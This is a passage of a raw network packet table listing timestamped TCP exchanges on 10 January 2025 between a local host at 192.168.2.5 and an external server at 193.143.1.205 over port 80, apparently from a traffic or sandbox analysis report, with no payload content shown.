Jan 10, 2025 22:51:01.535082102 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.535128117 CET	49712	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:51:01.535167933 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.535203934 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.535238028 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.535257101 CET	49712	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:51:01.535489082 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.535545111 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.535557032 CET	49712	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:51:01.535579920 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.535638094 CET	49712	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:51:01.535866022 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.535902023 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.535944939 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.535955906 CET	49712	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:51:01.536178112 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.536216974 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.536225080 CET	49712	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:51:01.536247969 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.536292076 CET	49712	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:51:01.536462069 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.536516905 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.536545992 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.536561012 CET	49712	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:51:01.536866903 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.536904097 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.536916971 CET	49712	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:51:01.536938906 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.536987066 CET	49712	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:51:01.537197113 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.537254095 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.537302017 CET	49712	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:51:01.537475109 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.537532091 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.537564993 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.537575006 CET	49712	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:51:01.537595034 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.537662983 CET	49712	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:51:01.538038969 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.538080931 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.538120031 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.538130999 CET	49712	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:51:01.538374901 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.538412094 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.538424015 CET	49712	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:51:01.538446903 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.538499117 CET	49712	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:51:01.538700104 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.538734913 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.538769007 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.538779020 CET	49712	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:51:01.539014101 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.539052010 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.539061069 CET	49712	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:51:01.539086103 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.539124012 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.539127111 CET	49712	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:51:01.539396048 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.539432049 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.539447069 CET	49712	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:51:01.539694071 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.539730072 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.539747000 CET	49712	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:51:01.539763927 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.539819002 CET	49712	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:51:01.540011883 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.540051937 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.540086031 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.540098906 CET	49712	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:51:01.540349960 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.540385962 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.540401936 CET	49712	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:51:01.540421009 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.540469885 CET	49712	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:51:01.540676117 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.540712118 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.540745020 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.540754080 CET	49712	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:51:01.541007042 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.541043043 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.541060925 CET	49712	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:51:01.541347027 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.541383982 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.541393042 CET	49712	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:51:01.541419983 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.541470051 CET	49712	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:51:01.541503906 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.541539907 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.541574955 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.541594028 CET	49712	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:51:01.541610003 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.541657925 CET	49712	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:51:01.542056084 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.542093039 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.542129993 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.542138100 CET	49712	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:51:01.545413971 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.545428991 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.545439959 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.545452118 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.545464039 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.545475960 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.545494080 CET	49712	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:51:01.545538902 CET	49712	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:51:01.545564890 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.545577049 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.545588017 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.545608997 CET	49712	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:51:01.545635939 CET	49712	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:51:01.545738935 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.545878887 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.545891047 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.545902014 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.545912981 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.545922995 CET	49712	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:51:01.545942068 CET	49712	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:51:01.547018051 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.547032118 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.547041893 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.547054052 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.547065020 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.547075033 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.547076941 CET	49712	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:51:01.547087908 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.547101021 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.547110081 CET	49712	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:51:01.547324896 CET	49712	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:51:01.567635059 CET	49712	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:51:01.575912952 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.575942993 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.575953007 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.575963974 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.576020956 CET	49712	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:51:01.576071978 CET	49712	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:51:01.576108932 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.576128960 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.576139927 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.576153040 CET	49712	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:51:01.576176882 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.576179981 CET	49712	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:51:01.576188087 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.576221943 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.576231956 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.576231956 CET	49712	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:51:01.576263905 CET	49712	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:51:01.576328039 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.576340914 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.576353073 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.576361895 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.576395988 CET	49712	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:51:01.576417923 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.576430082 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.576453924 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.576466084 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.576476097 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.576631069 CET	49712	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:51:01.576631069 CET	49712	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:51:01.576697111 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.576710939 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.576720953 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.576731920 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.576742887 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.576747894 CET	49712	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:51:01.576771975 CET	49712	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:51:01.576788902 CET	49712	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:51:01.576801062 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.576813936 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.576823950 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.576834917 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.576847076 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.576855898 CET	49712	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:51:01.576884031 CET	49712	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:51:01.588124990 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.588157892 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.588170052 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.588187933 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.588200092 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.588210106 CET	49712	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:51:01.588213921 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.588269949 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.588279963 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.588301897 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.588382006 CET	49712	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:51:01.588382006 CET	49712	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:51:01.588382006 CET	49712	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:51:01.619764090 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.619792938 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.619805098 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.619847059 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.619858980 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.619872093 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.619894028 CET	49712	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:51:01.619935989 CET	49712	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:51:01.619941950 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.619997025 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.620008945 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.620043993 CET	49712	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:51:01.620075941 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.620089054 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.620100021 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.620111942 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.620121002 CET	49712	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:51:01.620142937 CET	49712	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:51:01.620209932 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.620222092 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.620258093 CET	49712	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:51:01.620903015 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.620928049 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.620940924 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.620960951 CET	49712	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:51:01.620982885 CET	49712	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:51:01.621037006 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.621049881 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.621085882 CET	49712	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:51:01.621184111 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.621196985 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.621232033 CET	49712	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:51:01.621251106 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.621263027 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.621273994 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.621285915 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.621298075 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.621318102 CET	49712	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:51:01.621416092 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.621428013 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.621453047 CET	49712	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:51:01.621628046 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.621640921 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.621651888 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.621663094 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.621670961 CET	49712	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:51:01.621679068 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.621687889 CET	49712	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:51:01.621690989 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.621704102 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.621714115 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.621722937 CET	49712	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:51:01.621727943 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.621740103 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.621741056 CET	49712	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:51:01.621752024 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.621762037 CET	49712	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:51:01.621764898 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.621800900 CET	49712	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:51:01.622191906 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.622206926 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.622217894 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.622229099 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.622239113 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.622242928 CET	49712	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:51:01.622250080 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.622260094 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.622270107 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.622272015 CET	49712	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:51:01.622281075 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.622292995 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.622303963 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.622304916 CET	49712	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:51:01.622314930 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.622327089 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.622335911 CET	49712	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:51:01.622337103 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.622349024 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.622360945 CET	49712	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:51:01.622385979 CET	49712	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:51:01.622669935 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.622683048 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.622693062 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.622704029 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.622714043 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.622725010 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.622734070 CET	49712	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:51:01.622737885 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.622762918 CET	49712	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:51:01.630825996 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.630842924 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.630855083 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.630902052 CET	49712	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:51:01.630913019 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.630927086 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.630940914 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.630949020 CET	49712	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:51:01.630956888 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.630980968 CET	49712	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:51:01.631005049 CET	49712	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:51:01.631037951 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.631050110 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.631061077 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.631072998 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.631083965 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.631087065 CET	49712	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:51:01.631108046 CET	49712	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:51:01.631244898 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.631258011 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.631269932 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.631282091 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.631289005 CET	49712	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:51:01.631309986 CET	49712	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:51:01.631340981 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.631352901 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.631364107 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.631375074 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.631381035 CET	49712	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:51:01.631388903 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.631398916 CET	49712	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:51:01.631428957 CET	49712	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:51:01.662559986 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.662589073 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.662600994 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.662612915 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.662623882 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.662635088 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.662647009 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.662663937 CET	49712	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:51:01.662719965 CET	49712	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:51:01.662755013 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.662767887 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.662779093 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.662791014 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.662801027 CET	49712	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:51:01.662818909 CET	49712	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:51:01.662903070 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.662914991 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.662926912 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.662935972 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.662942886 CET	49712	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:51:01.662971020 CET	49712	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:51:01.663011074 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.663021088 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.663064003 CET	49712	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:51:01.663084030 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.663120985 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.663126945 CET	49712	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:51:01.663184881 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.663218021 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.663228989 CET	49712	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:51:01.663254023 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.663295031 CET	49712	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:51:01.663296938 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.669015884 CET	49712	80	192.168.2.5	193.143.1.205
